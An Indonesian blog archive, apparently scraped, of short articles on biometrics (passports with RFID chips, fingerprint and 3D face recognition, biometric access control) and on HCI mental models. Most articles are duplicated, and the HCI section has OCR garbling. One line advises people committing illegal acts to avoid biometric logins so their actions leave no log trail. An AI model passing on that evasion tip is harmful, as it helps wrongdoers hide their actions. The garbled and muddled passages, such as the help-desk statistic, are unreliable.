(Artikel 5)Tes & Teknologi Biometrik Membaca dengan tangan
MEMBACA TANGAN DAN DARAH
Pengenalan wajah, sidik jari, dan iris kini merupakan favorit biometri. Sebenarnya, ada ciri-ciri lain yang juga dapat digunakan untuk identifikasi.
Pengenalan tangan: Sistem ini mengukur geometri seluruh tangan. Dari panjang jari, lebar sendi, bentuk tangan, dan ciri-ciri lainnya dihasilkan sebuah paket data.
Analisis DNA: Sidik genetis adalah ciri pengenalan yang sangat bagus-saat ini telah digunakan untuk melacak pelaku kejahatan. Pertimbangan etis dan perlindungan data menghalangi penerapan analisis DNA di bidang lainnya.
Pola vena: Pembuluh darah balik (vena) pada tangan juga tidak berubah bentuk seumur hidup-hanya menjadi lebih tebal. Dalam cahaya inframerah, polanya tampak lebih jelas.
Pengenalan suara: Pita suara, tenggorokan, rongga mulut, dan rahang secara bersama-sama menghasilkan pola suara yang dapat digunakan untuk proses verifikasi melalui telepon.
Karena faktor gangguan seperti ketergantungan pada sudut dan cahaya dapat disingkirkan, Busch menganggap metoda 3D ini lebih tepat dibandingkan pengenalan 2D yang biasa. Di samping itu, ada aspek lain yang memperbesar minat pada sistem pengenalan 3D. Dengan data foto 3D sebagai template, wajah orang dalam kerumunan yang menghadap ke suatu arah lebih mudah diidentifikasi.
Sehandal apa sistem tersebut bekerja. Saat ini para ahli sedang meneliti dalam sebuah eksperimen internal di IGD, di mana sekitar seratus peserta berpartisipasi dalam proyek yang disebut 'BioFace V'. "Penuaan manusia sulit kami simulasikan, tetapi kami tidak sabar menunggu hasil eksperimen pada anak-anak kecil," ungkap Ulrich Pinsdorf, salah seorang peneliti di Fraunhofer.
Dr. Christoph Busch, Fraunhofer IGD.
»Pengenalan wajah 3D memungkinkan dibuatnya sistem identifikasi yang handal.
Sistem pengenalan biometrik pada dasarnya memang mengandalkan ciri-ciri yang tidak berubah, tetapi bisa saja dengan berjalannya waktu ciri-ciri tersebut menjadi sulit dikenali. Karena itu, trend bergeser pada penggunaan beberapa metoda sekaligus. Di samping peningkatan keamanan, cara ini juga akan memberikan ketepatan yang lebih tinggi dalam pemakaian yang terus menerus. Setidaknya, salah satu dari beberapa metoda-demikian gagasan di baliknya-sangat mungkin memberi hasil yang jelas.
Dalam sebuah paket biometri kombinasi biasanya terdapat sistem pengenalan sidik jari. Metoda yang telah matang ini digunakan sejak lebih dari 100 tahun dalam dunia kriminologi dan belum lama ini juga diterapkan untuk pemberian akses ke notebook dan PC. Jika sistem lain bekerja dengan algoritma analisis, pengenalan sidik jari biometrik mengandalkan analisis garis Papillar yang telah teruji. Komputer membandingkan titik-titik karakteristik tersebut yang dapat berupa percabangan, awal dan akhir garis, lingkaran, patahan, atau pusaran.
Untuk merekam sidik jari digunakan berbagai sensor yang semuanya menghasilkan gambar hitam-putih berpola garis. Perangkat yang paling populer adalah sensor optik. Di sini jari diletakkan pada sebuah keping kaca, disinari oleh LED melalui sebuah prisma, dan difoto dengan digicam. Pada sensor kapasitif, permukaan sensor dan permukaan jari membentuk sebuah kapasitor yang kapasitasnya berubah sesuai pola permukaan kulit.
Sistem sensor lainnya mengukur medan listrik atau pola panas dari jari. Untuk membedakan jari palsu-misalnya dari silikon-sistem tertentu juga mengukur detak jantung, aliran darah, kandungan oksigen dalam darah, dan suhu jari.
Sayangnya, tak satu pun metoda biometri yang sepenuhnya aman dari pemalsuan. Untuk mencegah orang lain ikut lewat bersama orang yang telah di-scan, petugas perbatasan atau bandara tidak akan tergantikan oleh mesin.
Jumat, 02 November 2007
Biometri Artikel 4
(Artikel 4)RFID di Paspor Biometrik
Paspor Biometrik
Sebagian besar dari kita mungkin pernah mendengar istiah "Biometrik". Jargon tersebut santer ketika Kantor Imigrasi meluncurkan paspor baru yang katanya berteknologi tinggi. Apa sebenarnya paspor biometrik itu ?
Paspor Biometrik adalah dokumen perjalanan (paspor) yang dapat dibaca oleh mesin pembaca atau disebut Machine Readable Travel Document (MRTD). Standar MRTD diatur oleh ICAO .
Sesuai dengan namanya, informasi yang disimpan di dalam paspor adalah informasi biometrik yang meliputi: sidik jari, pengenal wajah dan pindaian iris mata [1]. Di samping informasi tadi mungkin sekali informasi penting lain seperti nama kecil, tanggal lahir, alamat, dll ikut disimpan di sana.
Paspor yang menggunakan teknologi ini, biasanya akan memuat logo biometrik seperti berikut
Coba perhatikan, jika anda pemegang paspor Indonesia, mungkin tidak menemukannya di paspor anda.
Di dalam paspor informasi disimpan di dalam chip RFID (Radio Frequency ID). Chip yang disebut sebagai RFID tag tadi berukuran kecil bahkan bisa dimasukkan ke dalam lapisan kertas. Mungkin inilah yang digunakan untuk Paspor Biometrik. RFID tag dapat dibaca dari jarak tertentu oleh RFID reader.
Isu Keamanan & Privasi
Di balik sesumbar teknologi canggih tadi, rasanya pemegang paspor biometrik harus lebih berhati-hati karena bisa saja informasi pribadinya dimanfaatkan oleh orang lain untuk kejahatan.
Sudah ada cerita mengenai paspor Inggris yang di-clone, lantas penjahat tersebut membeli tiket menggunakan nomor frequent flyer yang berhasil dicurinya dari RFID paspor. Tidak sampai di situ, penjahat terus bepergian menggunakan paspor duplikasi menggunakan identitas pemilik paspor yang informasinya dicuri. Banyak cerita lain mengenai pembobolan informasi di paspor biometrik [2].
Tips Pengamanan Sederhana
Pengaman harus dilakukan sendiri oleh pemilik barang yang di dalamnya terdapat RFID tag. Bisa saja menggunakan RFID-Zapper . Yang termudah adalah melapisi paspor anda dengan aluminium foil untuk menghalangi sinyal radio pemindai RFID menghubungi chip di paspor. Oleh karena itu, mulai sekarang bungkuslah paspor anda dengan aluminium sehingga informasi pribadi anda tetap aman.
Paspor Biometrik
Sebagian besar dari kita mungkin pernah mendengar istiah "Biometrik". Jargon tersebut santer ketika Kantor Imigrasi meluncurkan paspor baru yang katanya berteknologi tinggi. Apa sebenarnya paspor biometrik itu ?
Paspor Biometrik adalah dokumen perjalanan (paspor) yang dapat dibaca oleh mesin pembaca atau disebut Machine Readable Travel Document (MRTD). Standar MRTD diatur oleh ICAO .
Sesuai dengan namanya, informasi yang disimpan di dalam paspor adalah informasi biometrik yang meliputi: sidik jari, pengenal wajah dan pindaian iris mata [1]. Di samping informasi tadi mungkin sekali informasi penting lain seperti nama kecil, tanggal lahir, alamat, dll ikut disimpan di sana.
Paspor yang menggunakan teknologi ini, biasanya akan memuat logo biometrik seperti berikut
Coba perhatikan, jika anda pemegang paspor Indonesia, mungkin tidak menemukannya di paspor anda.
Di dalam paspor informasi disimpan di dalam chip RFID (Radio Frequency ID). Chip yang disebut sebagai RFID tag tadi berukuran kecil bahkan bisa dimasukkan ke dalam lapisan kertas. Mungkin inilah yang digunakan untuk Paspor Biometrik. RFID tag dapat dibaca dari jarak tertentu oleh RFID reader.
Isu Keamanan & Privasi
Di balik sesumbar teknologi canggih tadi, rasanya pemegang paspor biometrik harus lebih berhati-hati karena bisa saja informasi pribadinya dimanfaatkan oleh orang lain untuk kejahatan.
Sudah ada cerita mengenai paspor Inggris yang di-clone, lantas penjahat tersebut membeli tiket menggunakan nomor frequent flyer yang berhasil dicurinya dari RFID paspor. Tidak sampai di situ, penjahat terus bepergian menggunakan paspor duplikasi menggunakan identitas pemilik paspor yang informasinya dicuri. Banyak cerita lain mengenai pembobolan informasi di paspor biometrik [2].
Tips Pengamanan Sederhana
Pengaman harus dilakukan sendiri oleh pemilik barang yang di dalamnya terdapat RFID tag. Bisa saja menggunakan RFID-Zapper . Yang termudah adalah melapisi paspor anda dengan aluminium foil untuk menghalangi sinyal radio pemindai RFID menghubungi chip di paspor. Oleh karena itu, mulai sekarang bungkuslah paspor anda dengan aluminium sehingga informasi pribadi anda tetap aman.
Biometrik Artikel 3
(Artikel 3)Biometrik Gantikan Password
TEKNOLOGI biometrik datang, dunia security ikut terus berubah. Sebab, kehadiran teknologi yang satu ini memiliki kemampuan untuk mengenali manusia lewat sidik jari, mata, atau karakter khas bagian tubuh manusia yang lainnya.
Bagaimana sepak terjang penggunaan teknologi biometrik ini, kita dapat nikmati dalam film �Sixth Day� (2001), sebagai contohnya. Film dengan pemeran utama Arnold Schwarzenegger itu memperlihatkan betapa biometrik sudah seperti menggantikan kunci. Dalam petualanganya, sidik jari atau mata bisa digunakan sebagai pembuka akses masuk ruangan kantor, laboratorium, menstarter mobil, dll. Singkatnya, teknologi pengenalan diri itu kini benar-benar mengenali fisik si pemilik, bukan lagi menggunakan password (kata sandi).
Dalam bahasa lain, Elizabeth Millard menyebutkan bahwa biometrik telah bergerak dari tontonan pada film thriller James Bond Sang Agen 007 ke dalam dunia komputer sehari-hari. Fitur biometrik telah diintegrasikan ke dalam PDA Hewlett-Packard, ThinkPads IBM, dan peranti genggam dan laptop sebagai cara untuk mengamankan perangkat tanpa meminta pengguna untuk mengingat sejumlah kata sandi untuk pengontrolan akses dalam berbagai tingkatan.
Kelemahan kata sandi
Munculnya teknologi biometrik sebagai metode verifikasi identitas individual, sesungguhnya merupakan refleksi dari kesadaran bahwa password adalah suatu hal yang tidak dapat diandalkan untuk security. Sebab, kata sandi itu memiliki sisi kelemahan yang dapat bersifat merugikan.
Kondisi seperti itu, penulis ibaratkan dengan ungkapan �Biomerik datang, password ditinggal�. Alasan ditinggalnya passeord, tidak lain karena kelemahan-kelemahan yang dimilikinya. Kelemahan kata sandi itu di antaranya ketika akses jaringan ia membutuhkan verifikasi. Password terbukti mudah sekali diserang hacker dan mudah diketahui secara luas. Hal ini diakui Millard, banyak manajer teknologi informasi (TI) dapat menyampaikan rekening yang terdapat pada user’s desk dan melihat password mereka pada post-it note stuck pada monitor mereka.
Selain itu, password juga mudah terlupakan, seperti yang dilaporkan oleh Gartner Group. Perusahaan riset tersebut menemukan bahwa panggilan untuk help desk yang berhubungan dengan password, turun hingga 30 persen dari biasanya. Untuk setiap penghapusan password, harus dibayar perusahaan dengan biaya antara 50 – 150 dolar AS.
Potensi biometrik
Kehadiran teknologi biometrik, apalagi saat ini didukung faktor harga yang semakin terjangkau dan bisa diterapkan pada banyak sektor, teknologi biometrik akan menggeser dunia password sebagai pintu masuk yang memiliki beberapa kelemahan tersebut.
Ditinggalnya penggunaan password ini, tentu bukan tanpa dasar. Paling tidak, pendapat para ahli keamanan menjadi salah satu dasarnya. Menurut para ahli keamanan, kini ada cracking tool yang mampu memindai kata maupun menebak password berupa kombinasi huruf dan angka. �Loft Crack�, salah satu program penjebol sandi misalnya, hanya butuh waktu 48 jam untuk mencari seluruh arsip password di suatu perusahaan (Intisari, Agustus 2001).
Terlepas dari itu semua, yang harus diingat dalam penerapan teknologi biometrik ini adalah apa yang diungkapkan Joseph Kim, Associate Director of Consulting pada International Biometric Group. Menurut Kim, sebuah teknologi biometrik yang tidak terintegrasi dengan baik dalam ruang korporat merupakan facial recognition. Walaupun kamera mungkin berada di posisinya sebagai �pengamat�, teknologinya belum cukup akurat untuk diteruskan atau digunakan untuk akses pegawai. Dibutuhkan beberapa tahun untuk dapat dijalankan dengan benar-benar efektif. Saat ini hal tersebut merupakan satu-satunya cara yang dapat digunakan untuk mengakses sebuah data base yang diketahui setiap orang dalam sebuah struktur yang ada dan mengakselerasikan prosesnya untuk keamanan.
Akhirnya, dengan reputasi password selama ini yang dapat dicuri dan terlupakan itu, tidak berlebihan bila dunia password akan ditinggalkan. Apalagi kehadiran biometrik itu memiliki potensi untuk mengamankan jaringan dan data dengan cara mengambilalih tugas user (pengguna) yang serupa.
TEKNOLOGI biometrik datang, dunia security ikut terus berubah. Sebab, kehadiran teknologi yang satu ini memiliki kemampuan untuk mengenali manusia lewat sidik jari, mata, atau karakter khas bagian tubuh manusia yang lainnya.
Bagaimana sepak terjang penggunaan teknologi biometrik ini, kita dapat nikmati dalam film �Sixth Day� (2001), sebagai contohnya. Film dengan pemeran utama Arnold Schwarzenegger itu memperlihatkan betapa biometrik sudah seperti menggantikan kunci. Dalam petualanganya, sidik jari atau mata bisa digunakan sebagai pembuka akses masuk ruangan kantor, laboratorium, menstarter mobil, dll. Singkatnya, teknologi pengenalan diri itu kini benar-benar mengenali fisik si pemilik, bukan lagi menggunakan password (kata sandi).
Dalam bahasa lain, Elizabeth Millard menyebutkan bahwa biometrik telah bergerak dari tontonan pada film thriller James Bond Sang Agen 007 ke dalam dunia komputer sehari-hari. Fitur biometrik telah diintegrasikan ke dalam PDA Hewlett-Packard, ThinkPads IBM, dan peranti genggam dan laptop sebagai cara untuk mengamankan perangkat tanpa meminta pengguna untuk mengingat sejumlah kata sandi untuk pengontrolan akses dalam berbagai tingkatan.
Kelemahan kata sandi
Munculnya teknologi biometrik sebagai metode verifikasi identitas individual, sesungguhnya merupakan refleksi dari kesadaran bahwa password adalah suatu hal yang tidak dapat diandalkan untuk security. Sebab, kata sandi itu memiliki sisi kelemahan yang dapat bersifat merugikan.
Kondisi seperti itu, penulis ibaratkan dengan ungkapan �Biomerik datang, password ditinggal�. Alasan ditinggalnya passeord, tidak lain karena kelemahan-kelemahan yang dimilikinya. Kelemahan kata sandi itu di antaranya ketika akses jaringan ia membutuhkan verifikasi. Password terbukti mudah sekali diserang hacker dan mudah diketahui secara luas. Hal ini diakui Millard, banyak manajer teknologi informasi (TI) dapat menyampaikan rekening yang terdapat pada user’s desk dan melihat password mereka pada post-it note stuck pada monitor mereka.
Selain itu, password juga mudah terlupakan, seperti yang dilaporkan oleh Gartner Group. Perusahaan riset tersebut menemukan bahwa panggilan untuk help desk yang berhubungan dengan password, turun hingga 30 persen dari biasanya. Untuk setiap penghapusan password, harus dibayar perusahaan dengan biaya antara 50 – 150 dolar AS.
Potensi biometrik
Kehadiran teknologi biometrik, apalagi saat ini didukung faktor harga yang semakin terjangkau dan bisa diterapkan pada banyak sektor, teknologi biometrik akan menggeser dunia password sebagai pintu masuk yang memiliki beberapa kelemahan tersebut.
Ditinggalnya penggunaan password ini, tentu bukan tanpa dasar. Paling tidak, pendapat para ahli keamanan menjadi salah satu dasarnya. Menurut para ahli keamanan, kini ada cracking tool yang mampu memindai kata maupun menebak password berupa kombinasi huruf dan angka. �Loft Crack�, salah satu program penjebol sandi misalnya, hanya butuh waktu 48 jam untuk mencari seluruh arsip password di suatu perusahaan (Intisari, Agustus 2001).
Terlepas dari itu semua, yang harus diingat dalam penerapan teknologi biometrik ini adalah apa yang diungkapkan Joseph Kim, Associate Director of Consulting pada International Biometric Group. Menurut Kim, sebuah teknologi biometrik yang tidak terintegrasi dengan baik dalam ruang korporat merupakan facial recognition. Walaupun kamera mungkin berada di posisinya sebagai �pengamat�, teknologinya belum cukup akurat untuk diteruskan atau digunakan untuk akses pegawai. Dibutuhkan beberapa tahun untuk dapat dijalankan dengan benar-benar efektif. Saat ini hal tersebut merupakan satu-satunya cara yang dapat digunakan untuk mengakses sebuah data base yang diketahui setiap orang dalam sebuah struktur yang ada dan mengakselerasikan prosesnya untuk keamanan.
Akhirnya, dengan reputasi password selama ini yang dapat dicuri dan terlupakan itu, tidak berlebihan bila dunia password akan ditinggalkan. Apalagi kehadiran biometrik itu memiliki potensi untuk mengamankan jaringan dan data dengan cara mengambilalih tugas user (pengguna) yang serupa.
BIometrik Artikel 2
(Artikel 2)Biometric Access Control
Terdapat cara yang cukup efektif untuk melindungi workstation anda. Dengan menggunakan Biometric Access Control, yaitu dengan memanfaatkan ciri-ciri dari tubuh manusia yang unik untuk dijadikan password bagi workstation.
Ciri-ciri tersebut, diantaranya :
- Bau tubuh
- Struktur wajah
- Sidik jari
- Pola retina atau pola iris
- Struktur pembuluh darah
- Suara
Walaupun dengan keuntungannya seperti penjaminan bahwa tingkat keamanan akan meningkat, tetapi Biometric Access Control ini memiliki sedikit masalah. Masalah yang paling utama adalah masalah privasi, secara lengkap dapat anda baca di http://www.dss.state.ct.us/digital/news11/bhsug11.htm.
Sebagai contoh pada biometric access yang menggunakan retina scanner, walaupun keamanannya menjanjikan, tetapi menurut beberapa penelitian dengan menganalisa retina mata, orang yang memiliki penyakit kecanduan obat, penyakit turunan, bahkan AIDS dapat terdeteksi.
Umumnya penggunaan Biometric Access Control ini menyimpan daftar history pengaksesnnya dengan detail. Apabila anda menggunakan komputer anda untuk tindakan yang ilegal, maka anda harus melewatkan metode pengamanan ini, karena dapat meninggalkan jejak yang tidak mungkin disangkal melalui logs (catatan kejadian) yang ada.
Masalah lainnya yang tidak kalah pentingnya adalah,pengguna tidak mungkin menjalankan sistem yang menggunakan Biometric Access Control untuk melakukan pekerjaan secara remote. Kita tidak dapat memaksakan pengguna remote menggunakan alat biometrik. Hal ini hanya cocok untuk untuk akses secara lokal.
Terdapat cara yang cukup efektif untuk melindungi workstation anda. Dengan menggunakan Biometric Access Control, yaitu dengan memanfaatkan ciri-ciri dari tubuh manusia yang unik untuk dijadikan password bagi workstation.
Ciri-ciri tersebut, diantaranya :
- Bau tubuh
- Struktur wajah
- Sidik jari
- Pola retina atau pola iris
- Struktur pembuluh darah
- Suara
Walaupun dengan keuntungannya seperti penjaminan bahwa tingkat keamanan akan meningkat, tetapi Biometric Access Control ini memiliki sedikit masalah. Masalah yang paling utama adalah masalah privasi, secara lengkap dapat anda baca di http://www.dss.state.ct.us/digital/news11/bhsug11.htm.
Sebagai contoh pada biometric access yang menggunakan retina scanner, walaupun keamanannya menjanjikan, tetapi menurut beberapa penelitian dengan menganalisa retina mata, orang yang memiliki penyakit kecanduan obat, penyakit turunan, bahkan AIDS dapat terdeteksi.
Umumnya penggunaan Biometric Access Control ini menyimpan daftar history pengaksesnnya dengan detail. Apabila anda menggunakan komputer anda untuk tindakan yang ilegal, maka anda harus melewatkan metode pengamanan ini, karena dapat meninggalkan jejak yang tidak mungkin disangkal melalui logs (catatan kejadian) yang ada.
Masalah lainnya yang tidak kalah pentingnya adalah,pengguna tidak mungkin menjalankan sistem yang menggunakan Biometric Access Control untuk melakukan pekerjaan secara remote. Kita tidak dapat memaksakan pengguna remote menggunakan alat biometrik. Hal ini hanya cocok untuk untuk akses secara lokal.
Biometri Artikel 1
(Artikel 1 )biometri 1
Paspor biometrik Dari Wikipedia Indonesia, ensiklopedia bebas berbahasa Indonesia. Langsung ke: navigasi, cari Paspor biometrik atau sering disebut juga e-paspor adalah jenis paspor yang memiliki data biometrik sebagai salah satu unsur pengaman paspor tersebut. Data biometrik ini disimpan dalam bentuk chip yang tertanam pada paspor tersebut. Paspor jenis ini telah digunakan di beberapa negara, antar lain Malaysia, Amerika Serikat, Australia, Inggris, Jepang, Selandia Baru, Swedia, dan negara-negara lainnya. Data biometrik yang tersimpan pada chip ini bervariasi antar negara, namun berdasarkan standarisasi yang dikeluarkan oleh ICAO, data biometrik yang digunakan ialah data biometrik dari wajah pemegang paspor. Berdasarkan standar yang dikeluarkan oleh International Civil Aviation Organisation, data biometrik yang dianjurkan untuk digunakan adalah biometrik wajah pemegang paspor dengan biometrik sidik jari sebagai pendukungnya. Namun hingga saat ini standarisasi yang dikeluarkan oleh ICAO ini belum dapat disepakati oleh dunia internasional karena berbagai macam hal. Saat ini Indonesia telah menggunakan data biometrik pemohon paspor sebagai salah satu unsur pengaman dalam penerbitan paspor Republik Indonesia.
Paspor biometrik Dari Wikipedia Indonesia, ensiklopedia bebas berbahasa Indonesia. Langsung ke: navigasi, cari Paspor biometrik atau sering disebut juga e-paspor adalah jenis paspor yang memiliki data biometrik sebagai salah satu unsur pengaman paspor tersebut. Data biometrik ini disimpan dalam bentuk chip yang tertanam pada paspor tersebut. Paspor jenis ini telah digunakan di beberapa negara, antar lain Malaysia, Amerika Serikat, Australia, Inggris, Jepang, Selandia Baru, Swedia, dan negara-negara lainnya. Data biometrik yang tersimpan pada chip ini bervariasi antar negara, namun berdasarkan standarisasi yang dikeluarkan oleh ICAO, data biometrik yang digunakan ialah data biometrik dari wajah pemegang paspor. Berdasarkan standar yang dikeluarkan oleh International Civil Aviation Organisation, data biometrik yang dianjurkan untuk digunakan adalah biometrik wajah pemegang paspor dengan biometrik sidik jari sebagai pendukungnya. Namun hingga saat ini standarisasi yang dikeluarkan oleh ICAO ini belum dapat disepakati oleh dunia internasional karena berbagai macam hal. Saat ini Indonesia telah menggunakan data biometrik pemohon paspor sebagai salah satu unsur pengaman dalam penerbitan paspor Republik Indonesia.
HCI Artikel 5
(Artikel 5 )Model Mental HCI
Sejak adanya ternuan-ternuan yang dilakukan oleh para peneliti HCI tentang
fungsionalitas sistem, yakni "apa yang diketahui oleh pemakai tentang sistem
perangkat lunak komputer" dan usability sistem, yakni "apa yang harus dilakukan
oleh pemakai terhadap sistem " mendorong perkembangan riset dalam HCI tersebut.
Riset yang dilakukan pada akhir-akhir ini mulai berfokus kepada jenis-jenis
pengetahuan pemakai ketika ia menggunakan sistem komputer. Konsep model
mental terhadap sistem adalah topik utamanya. Studi representasi pengetahuan yang
berbasis komputer ini menghasilkan keuntungan-keuntungan antara lain studi ini
bisa menggali basis perilaku teoritis, seperti perilaku khusus pemakai terhadap
tugasnya. Studi jenis ini juga berkaitan dengan representasi mental, maka diperlukan
3. Mental model. Pemakai dikatakan sudah memiliki model mental terhadap sistem
apabila ia telah memahami bagaimana sistem itu bekerja, apa saja komponen
sistem tersebut, bagaimana hubungannya, apa saja proses-proses internalnya, dan
bagaimana operasi internal tersebut mempengaruhi komponen-komponennya
[CAR90].
Ketepatan rancangan system image dari suatu sistem terhadap model mental
pemakai adalah sangat penting. Jika sistem tersebut tidak bisa merepresentasikan
model mental pemakai secara baik, maka interaksi yang terjadi antara sistem dan
pemakai niscaya akan mengalami hambatan-hambatan. Pemakai akan tidak bisa
nyaman dalam menggunakan sistem tersebut, bahkan bisa terjadi kesalahpahaman,
karena beban kognitif pemakai bertambah berat. Oleh karenanya, dalam sistem antar
muka biasanya masalah yang paling sering terjadi adalah kesenjangan antara model
mental pemakai mengenai tugas dari sistem dengan keadaan riil dari sistem itu.
Misalnya, pada waktu memulai suatu program, seorang pemakai sudah memiliki
tujuan yang ingin dicapai dari interaksi yang dilakukan, yang mana tujuan ini ada
didalam pikiran pemakai. Di lain pihak, perancang atau pengembang program juga
mempunyai tujuan sendiri dari sistem yang dikembangkannya. Bila tujuan dari
pemakai dan tujuan dari perancang sistim itu berbeda jauh, maka disini biasanya
akan terjadi kesukaran atau konflik-konflik ketika berinteraksi.
Oleh Norman (1986) ditegaskan bahwa konflik-konflik demikian bisa terjadi
di-karenakan adanya kesenjangan antara model mental (yakni: goals dan intensi)
seseorang yang disebut variabel-variabel psikologikal dengan variabel-variabel
fisikal (sistem). Narnun demikian, perbedaan atau kesenjangan antara tujuan dari
pemakai dan sistim ini dapat diperkecil bila rancangan sistem dibuat berdasarkan
data-data dari pemakai, misalnya kemampuan kognitif pemakai, tujuan yang ingin
dicapai oleh pemakai, dan sebagainya. Untuk hal tersebut Norman (1986) mencoba
mengaplikasikan hasil risetnya dibidang cognitive science yang dikenal dengan
istilah Cognitive Engineering. Melalui cognitive engineering ini kesenjangan akan
diperkecil.
Kesenjangan interaksi antara pemakai dan sistem tersebut digambarkan
dengan dua buah gulfs (celah) yaitu the gulf of execution (celah eksekusi) dan the
gulfofevaluation (celah evaluasi )
Physica
Syistem
Gulf of
Execution
Gulf of
Evaluation
Agar celah tersebut tidak semakin jauh, maka kedua gulfs tersebut harus
dijembatani sehingga terdapat kecocokan antara sistem yang ada dengan model
mental pemakai. Kedua gulfs dijembatani dalam dua arah, dari arah sistem
dijembatani dengan Evaluation Bridge, sedangkan dari arah sisi pemakai
dijembatani dengan Execution Bridge
Dapat disimak bahwajembatan dari sisi pemakai (goals)
ke sistem fisikal (physical system) diawali dengan formasi intensi pemakai yang
relevan dengan sistem. Selanjutnya, pemakai menentukan langkah-langkah tindakan
I khusus (action specification) yang tepat guna mengeksekusi sebarisan tindakan itu
~xecuting the action). Melalui mekanisme antarmuka (interface mechanism),
I-
l~sekusi tindakan ini dijalankan untuk kemudian disampaikan ke sistem. Sistem
Mneresponnya,yang selanjutnya hasil respon tersebut (output), disampaikan
Execution Bridai atau ditampilkan lagi kepada pemakai melalui piranti yang tersedia (monitor atau
tampilan antarmuka). Jadi ada 4 komponen yang menjembatani dari sistem pemakai
ke sistem fisikal, yakni formasi intensi, spesifikasi aksi, eksekusi aksi dan
mekanisme antarmuka.
Sedangkan jembatan dari sisi sistem fisikal ke pemakai diawali dengan
tampilan antarmuka (interface display) yang menampilkan output (keluaran) dari
sistem. Output ini kemudian diinterpretasikan oleh pemakai melalui proses
intemalnya (pengolahan persepsinya). Selanjutnya dilakukan evaluasi dengan
membandingkan hasil interpretasi dari status sistem dengan goal dan intensi awal
(original goal). Dalam jembatan ini juga ada 4 (empat) komponen, yaitu tampilan
antarmuka, pengolahan persepsi, interpretasi, dan evaluasi [NOR86].
Sejak adanya ternuan-ternuan yang dilakukan oleh para peneliti HCI tentang
fungsionalitas sistem, yakni "apa yang diketahui oleh pemakai tentang sistem
perangkat lunak komputer" dan usability sistem, yakni "apa yang harus dilakukan
oleh pemakai terhadap sistem " mendorong perkembangan riset dalam HCI tersebut.
Riset yang dilakukan pada akhir-akhir ini mulai berfokus kepada jenis-jenis
pengetahuan pemakai ketika ia menggunakan sistem komputer. Konsep model
mental terhadap sistem adalah topik utamanya. Studi representasi pengetahuan yang
berbasis komputer ini menghasilkan keuntungan-keuntungan antara lain studi ini
bisa menggali basis perilaku teoritis, seperti perilaku khusus pemakai terhadap
tugasnya. Studi jenis ini juga berkaitan dengan representasi mental, maka diperlukan
3. Mental model. Pemakai dikatakan sudah memiliki model mental terhadap sistem
apabila ia telah memahami bagaimana sistem itu bekerja, apa saja komponen
sistem tersebut, bagaimana hubungannya, apa saja proses-proses internalnya, dan
bagaimana operasi internal tersebut mempengaruhi komponen-komponennya
[CAR90].
Ketepatan rancangan system image dari suatu sistem terhadap model mental
pemakai adalah sangat penting. Jika sistem tersebut tidak bisa merepresentasikan
model mental pemakai secara baik, maka interaksi yang terjadi antara sistem dan
pemakai niscaya akan mengalami hambatan-hambatan. Pemakai akan tidak bisa
nyaman dalam menggunakan sistem tersebut, bahkan bisa terjadi kesalahpahaman,
karena beban kognitif pemakai bertambah berat. Oleh karenanya, dalam sistem antar
muka biasanya masalah yang paling sering terjadi adalah kesenjangan antara model
mental pemakai mengenai tugas dari sistem dengan keadaan riil dari sistem itu.
Misalnya, pada waktu memulai suatu program, seorang pemakai sudah memiliki
tujuan yang ingin dicapai dari interaksi yang dilakukan, yang mana tujuan ini ada
didalam pikiran pemakai. Di lain pihak, perancang atau pengembang program juga
mempunyai tujuan sendiri dari sistem yang dikembangkannya. Bila tujuan dari
pemakai dan tujuan dari perancang sistim itu berbeda jauh, maka disini biasanya
akan terjadi kesukaran atau konflik-konflik ketika berinteraksi.
Oleh Norman (1986) ditegaskan bahwa konflik-konflik demikian bisa terjadi
di-karenakan adanya kesenjangan antara model mental (yakni: goals dan intensi)
seseorang yang disebut variabel-variabel psikologikal dengan variabel-variabel
fisikal (sistem). Narnun demikian, perbedaan atau kesenjangan antara tujuan dari
pemakai dan sistim ini dapat diperkecil bila rancangan sistem dibuat berdasarkan
data-data dari pemakai, misalnya kemampuan kognitif pemakai, tujuan yang ingin
dicapai oleh pemakai, dan sebagainya. Untuk hal tersebut Norman (1986) mencoba
mengaplikasikan hasil risetnya dibidang cognitive science yang dikenal dengan
istilah Cognitive Engineering. Melalui cognitive engineering ini kesenjangan akan
diperkecil.
Kesenjangan interaksi antara pemakai dan sistem tersebut digambarkan
dengan dua buah gulfs (celah) yaitu the gulf of execution (celah eksekusi) dan the
gulfofevaluation (celah evaluasi )
Physica
Syistem
Gulf of
Execution
Gulf of
Evaluation
Agar celah tersebut tidak semakin jauh, maka kedua gulfs tersebut harus
dijembatani sehingga terdapat kecocokan antara sistem yang ada dengan model
mental pemakai. Kedua gulfs dijembatani dalam dua arah, dari arah sistem
dijembatani dengan Evaluation Bridge, sedangkan dari arah sisi pemakai
dijembatani dengan Execution Bridge
Dapat disimak bahwajembatan dari sisi pemakai (goals)
ke sistem fisikal (physical system) diawali dengan formasi intensi pemakai yang
relevan dengan sistem. Selanjutnya, pemakai menentukan langkah-langkah tindakan
I khusus (action specification) yang tepat guna mengeksekusi sebarisan tindakan itu
~xecuting the action). Melalui mekanisme antarmuka (interface mechanism),
I-
l~sekusi tindakan ini dijalankan untuk kemudian disampaikan ke sistem. Sistem
Mneresponnya,yang selanjutnya hasil respon tersebut (output), disampaikan
Execution Bridai atau ditampilkan lagi kepada pemakai melalui piranti yang tersedia (monitor atau
tampilan antarmuka). Jadi ada 4 komponen yang menjembatani dari sistem pemakai
ke sistem fisikal, yakni formasi intensi, spesifikasi aksi, eksekusi aksi dan
mekanisme antarmuka.
Sedangkan jembatan dari sisi sistem fisikal ke pemakai diawali dengan
tampilan antarmuka (interface display) yang menampilkan output (keluaran) dari
sistem. Output ini kemudian diinterpretasikan oleh pemakai melalui proses
intemalnya (pengolahan persepsinya). Selanjutnya dilakukan evaluasi dengan
membandingkan hasil interpretasi dari status sistem dengan goal dan intensi awal
(original goal). Dalam jembatan ini juga ada 4 (empat) komponen, yaitu tampilan
antarmuka, pengolahan persepsi, interpretasi, dan evaluasi [NOR86].
HCI Artikel 4
(Artikel 4)Interaksi Manusia Komputer (IMK)
Pada awalnya pengembangan komputer lebih difokuskan pada peningkatan kemampuan dan kecanggihan peralatan komputer, sedangkan dari aspek manusia sebagai user kurang diperhatikan. Hal-hal sederhana seperti kenyamanan dan kemudahan dalam menggunakan komputer jarang diperhatikan.
Pada kenyataan sebenarnya, faktor brainware sangat mempengaruhi kinerja sistem komputer itu sendiri. Apabila suatu teknologi lebih mudah dimengerti oleh user maka user dapat menggunakan teknologi itu dengan maksimal. Oleh karena itu, faktor interaksi manusia–komputer pun menjadi salah satu faktor yang sangat penting untuk dipertimbangkan.
